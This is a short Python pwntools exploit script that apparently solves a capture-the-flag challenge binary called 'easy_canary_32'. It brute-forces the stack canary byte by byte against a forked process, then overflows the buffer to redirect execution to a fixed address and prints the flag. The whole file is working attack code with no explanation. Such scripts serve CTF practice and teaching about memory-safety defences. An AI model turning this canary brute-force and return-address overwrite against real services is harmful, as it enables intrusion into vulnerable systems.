#!/usr/bin/env python2
#coding:utf-8

from pwn import *
context.log_level = 'debug'

p = process('./easy_canary_32')
p.recvuntil('welcome\n')
canary = '\x00'
for j in range(3):
    for i in range(0x100):
        p.send('a'*100 + canary + chr(i))
        a = p.recvuntil('welcome\n')
        if 'recv' in a:
            canary += chr(i)
            break

p.sendline('a'*100 + canary + 'a'*12 + p32(0x08048646))

flag = p.recv()
p.close()
log.success('flag is:' + flag)